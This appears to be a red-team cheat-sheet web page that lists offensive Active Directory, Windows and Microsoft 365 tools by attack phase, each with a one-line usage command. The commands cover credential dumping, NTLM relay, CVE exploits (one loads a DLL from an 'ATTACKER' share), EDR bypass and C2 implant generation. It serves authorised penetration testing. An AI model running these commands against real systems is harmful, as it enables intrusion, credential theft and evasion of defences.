Internal Pentest Tools Arsenal

Comprehensive toolkit for Active Directory attacks, lateral movement, privilege escalation, credential harvesting, and defense evasion. Organized by attack phase for quick reference during engagements.

Information

nxc → NetExec: nxc (CME) was archived in 2024. NetExec (nxc) is the community-maintained fork and the new standard. All commands below use nxc.

🔍 Enumeration & Reconnaissance

BloodHound / SharpHound

AD Enumeration
Docs

Graph-based AD relationship mapper. Identifies attack paths from any user to Domain Admin via ACLs, group memberships, sessions, and delegation.

Installation

bash
SharpHound.exe -c All,GPOLocalGroup --zipfilename bh.zip
SharpHound.exe -c All,GPOLocalGroup --zipfilename bh.zip

NetExec (nxc)

Multi-Protocol
Docs

Swiss army knife for network pentesting. Replaces nxc. SMB/LDAP/MSSQL/WinRM/RDP/SSH enumeration, spraying, command execution.

Installation

bash
pipx install netexec
pipx install netexec

PowerView

AD Enumeration
Docs

PowerShell AD enumeration — users, groups, ACLs, GPOs, trusts, delegation, SPNs. The gold standard for AD recon.

Installation

bash
Import-Module .PowerView.ps1; Get-DomainUser
Import-Module .PowerView.ps1; Get-DomainUser

ldapdomaindump

LDAP
Docs

Active Directory information dumper via LDAP. Exports users, groups, computers, policies as HTML and JSON.

Installation

bash
ldapdomaindump -u 'DOMAIN\user' -p 'Pass' ldap://DC-IP
ldapdomaindump -u 'DOMAIN\user' -p 'Pass' ldap://DC-IP

enum4linux-ng

SMB/RPC
Docs

Next-gen Windows/SMB enumeration tool. Null sessions, shares, users, groups, password policies via RPC/LDAP/SMB.

Installation

bash
enum4linux-ng -A target-ip
enum4linux-ng -A target-ip

ADRecon

AD Enumeration
Docs

Gathers extensive AD data into Excel/CSV — users, computers, GPOs, ACLs, LAPS, trusts. Great for reporting.

Installation

bash
.ADRecon.ps1 -OutputType XLSX
.ADRecon.ps1 -OutputType XLSX

🔐 Credential Attacks

Responder

Man-in-the-Middle
Docs

LLMNR/NBT-NS/MDNS poisoner. Captures NTLMv1/v2 hashes from multicast name resolution on the local network.

Installation

bash
responder -I eth0 -wFb
responder -I eth0 -wFb

Mimikatz

Credential Dumping
Docs

The credential extraction tool. LSASS dumping, Kerberos ticket extraction, DPAPI decryption, DCSync, golden/silver tickets.

Installation

bash
sekurlsa::logonpasswords
sekurlsa::logonpasswords

Rubeus

Kerberos
Docs

C# Kerberos abuse toolkit — AS-REP roasting, Kerberoasting, S4U, delegation abuse, ticket forging, and pass-the-ticket.

Installation

bash
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe kerberoast /outfile:hashes.txt

Impacket

Multi-Purpose
Docs

Python network protocol library. Includes secretsdump (DCSync), ntlmrelayx (relay), psexec/wmiexec/smbexec, GetUserSPNs, and 50+ tools.

Installation

bash
pip install impacket
pip install impacket

hashcat

Password Cracking
Docs

GPU-accelerated password cracker. Supports 300+ hash types including NTLM, NTLMv2, Kerberoast, AS-REP, and NetNTLM.

Installation

bash
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule

Coercer

Coercion
Docs

Automatically finds and exploits Windows authentication coercion vulnerabilities (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce).

Installation

bash
coercer coerce -u user -p pass -t DC-IP -l LISTEN-IP
coercer coerce -u user -p pass -t DC-IP -l LISTEN-IP

ntlmrelayx (Impacket)

Relay
Docs

NTLM relay attack tool. Relays captured authentication to SMB, LDAP, MSSQL, HTTP, ADCS. Supports RBCD and shadow credentials.

Installation

bash
ntlmrelayx.py -t ldap://DC-IP --delegate-access
ntlmrelayx.py -t ldap://DC-IP --delegate-access

SharpDPAPI

Credential Harvesting
Docs

C# DPAPI abuse — decrypt browser passwords, credential blobs, and vault entries using user/machine/domain keys.

Installation

bash
SharpDPAPI.exe triage
SharpDPAPI.exe triage

💥 Exploitation

Certipy

ADCS
Docs

AD Certificate Services enumeration and abuse. Finds and exploits ESC1-ESC13 misconfigurations for domain privilege escalation.

Installation

bash
certipy find -u user@corp.local -p Pass -dc-ip DC-IP -vulnerable
certipy find -u user@corp.local -p Pass -dc-ip DC-IP -vulnerable

Whisker

Shadow Credentials
Docs

Shadow Credentials attack tool. Adds msDS-KeyCredentialLink to target accounts for certificate-based authentication.

Installation

bash
Whisker.exe add /target:victim /domain:corp.local
Whisker.exe add /target:victim /domain:corp.local

KrbRelayUp

Privilege Escalation
Docs

One-click local privilege escalation via Kerberos relay. Combines RBCD + S4U for SYSTEM from any domain user.

Installation

bash
KrbRelayUp.exe relay -Domain corp.local -CreateNewComputerAccount -ComputerName YOURPC$ -ComputerPassword Pass
KrbRelayUp.exe relay -Domain corp.local -CreateNewComputerAccount -ComputerName YOURPC$ -ComputerPassword Pass

noPac (SAMAccountName)

CVE Exploit
Docs

Exploits CVE-2021-42278/42287. Impersonate Domain Controller via SAMAccountName spoofing for instant DA.

Installation

bash
noPac.py corp.local/user:Pass -dc-ip DC-IP --impersonate administrator -dump
noPac.py corp.local/user:Pass -dc-ip DC-IP --impersonate administrator -dump

PetitPotam

Coercion
Docs

Coerces Windows hosts to authenticate via MS-EFSRPC. Chain with ntlmrelayx to ADCS for domain takeover.

Installation

bash
petitpotam.py LISTEN-IP DC-IP
petitpotam.py LISTEN-IP DC-IP

PrintNightmare

CVE Exploit
Docs

CVE-2021-34527 — Remote code execution via Windows Print Spooler for instant SYSTEM on unpatched hosts.

Installation

bash
CVE-2021-1675.py corp.local/user:Pass@TARGET '\\ATTACKER\share\evil.dll'
CVE-2021-1675.py corp.local/user:Pass@TARGET '\\ATTACKER\share\evil.dll'

🔄 Lateral Movement & Remote Access

Evil-WinRM

Remote Access
Docs

Feature-rich WinRM shell — file upload/download, PowerShell, DLL loading, log evasion. The go-to for Windows remote access.

Installation

bash
evil-winrm -i TARGET -u admin -H NTLM_HASH
evil-winrm -i TARGET -u admin -H NTLM_HASH

psexec / smbexec / wmiexec

Remote Execution
Docs

Impacket remote execution suite. PsExec (service), SMBExec (no disk write), WMIExec (stealthier). All support pass-the-hash.

Installation

bash
wmiexec.py -hashes :NTLM corp.local/admin@TARGET
wmiexec.py -hashes :NTLM corp.local/admin@TARGET

atexec / dcomexec

Remote Execution
Docs

Impacket alternatives for lateral movement via Task Scheduler (atexec) or DCOM (dcomexec). Less commonly monitored.

Installation

bash
atexec.py corp.local/admin:Pass@TARGET 'whoami'
atexec.py corp.local/admin:Pass@TARGET 'whoami'

SharpRDP

Remote Access
Docs

Remote Desktop Protocol command execution. Authenticates via RDP and sends keystrokes for stealthy execution.

Installation

bash
SharpRDP.exe computername=TARGET command='cmd /c whoami' username=admin password=Pass
SharpRDP.exe computername=TARGET command='cmd /c whoami' username=admin password=Pass

🏴 Post-Exploitation & Privilege Escalation

WinPEAS

Privilege Escalation
Docs

Windows privilege escalation enumeration — services, registry, credentials, scheduled tasks, DLL hijack opportunities.

Installation

bash
winpeas.exe quiet servicesinfo
winpeas.exe quiet servicesinfo

Seatbelt

Situational Awareness
Docs

GhostPack C# security audit tool — system info, credentials, browser data, installed software, and security product detection.

Installation

bash
Seatbelt.exe -group=all -full
Seatbelt.exe -group=all -full

LaZagne

Credential Harvesting
Docs

Retrieves passwords stored on a local computer — browsers, databases, mail, Wi-Fi, sysadmin tools, and more.

Installation

bash
lazagne.exe all
lazagne.exe all

SharpUp

Privilege Escalation
Docs

C# port of PowerUp. Finds common Windows privilege escalation vectors: misconfigured services, unquoted paths, modifiable binaries.

Installation

bash
SharpUp.exe audit
SharpUp.exe audit

🛡️ Defense Evasion

ScareCrow

Payload Generation
Docs

Payload creation framework for side-loading. EDR bypass via signed DLLs, process injection, and syscall obfuscation.

Installation

bash
ScareCrow -I beacon.bin -Loader dll -domain microsoft.com
ScareCrow -I beacon.bin -Loader dll -domain microsoft.com

Nim / NimPackt-v2

Payload Development
Docs

Nim-based payload framework. Compiles to native Windows binaries with low AV detection rates.

Installation

bash
python3 NimPackt.py -e shinject -i beacon.bin -t csharp
python3 NimPackt.py -e shinject -i beacon.bin -t csharp

BOF.NET / Cobalt Strike BOFs

In-Memory Execution
Docs

Beacon Object Files — in-memory .NET execution and custom BOFs for EDR evasion within C2 frameworks.

Installation

bash
# Load via C2 beacon
# Load via C2 beacon

EDRSandBlast

Kernel Bypass
Docs

Kernel-level EDR bypass via vulnerable drivers (BYOVD). Removes kernel callbacks, ETW providers, and minifilter altitudes.

Installation

bash
EDRSandblast.exe --usermode --kernelmode
EDRSandblast.exe --usermode --kernelmode

🌐 Pivoting & C2 Frameworks

Ligolo-ng

Pivoting
Docs

Advanced tunneling/pivoting tool using TUN interface. Creates transparent network tunnels without SOCKS proxies.

Installation

bash
# Proxy: ligolo-proxy -selfcert
# Agent: ligolo-agent -connect PROXY:11601 -retry
# Proxy: ligolo-proxy -selfcert
# Agent: ligolo-agent -connect PROXY:11601 -retry

Sliver

C2 Framework
Docs

Open-source C2 framework. HTTP(S)/mTLS/WireGuard/DNS implants, BOF support, traffic encryption, pivoting.

Installation

bash
sliver > generate --mtls LISTEN_IP --os windows --save implant.exe
sliver > generate --mtls LISTEN_IP --os windows --save implant.exe

Havoc

C2 Framework
Docs

Modern C2 framework with demon agents. Sleep obfuscation, indirect syscalls, token manipulation, and BOF execution.

Installation

bash
# Build and run Havoc teamserver
# Build and run Havoc teamserver

chisel

Pivoting
Docs

Fast TCP/UDP tunnel over HTTP with SSH. Port forwarding and SOCKS5 proxy through restricted networks.

Installation

bash
# Server: chisel server --reverse -p 8080
# Client: chisel client PROXY:8080 R:socks
# Server: chisel server --reverse -p 8080
# Client: chisel client PROXY:8080 R:socks

☁️ Cloud & Hybrid Identity

AADInternals

Azure AD
Docs

Azure AD / Entra ID toolkit. Tenant recon, PTA backdoors, Seamless SSO abuse, AAD Connect credential extraction.

Installation

bash
Import-Module AADInternals; Invoke-AADIntReconAsOutsider -DomainName corp.com
Import-Module AADInternals; Invoke-AADIntReconAsOutsider -DomainName corp.com

ROADtools

Azure AD
Docs

Azure AD enumeration framework. Dumps users, groups, service principals, apps, conditional access, and device registrations.

Installation

bash
roadrecon auth -u user@corp.com -p Pass; roadrecon gather; roadrecon gui
roadrecon auth -u user@corp.com -p Pass; roadrecon gather; roadrecon gui

GraphRunner

M365
Docs

Post-exploitation framework for Microsoft Graph API. Token manipulation, email access, Teams messages, and SharePoint enumeration.

Installation

bash
Import-Module .GraphRunner.ps1; Get-GraphTokens
Import-Module .GraphRunner.ps1; Get-GraphTokens

TeamFiltration

M365
Docs

Cross-platform framework for enumerating, spraying, exfiltrating, and backdooring Microsoft 365 / Teams accounts.

Installation

bash
TeamFiltration.exe --outpath results --enum --domain corp.com
TeamFiltration.exe --outpath results --enum --domain corp.com

📚 Recommended Books

Essential command references to keep within arm's reach during engagements.

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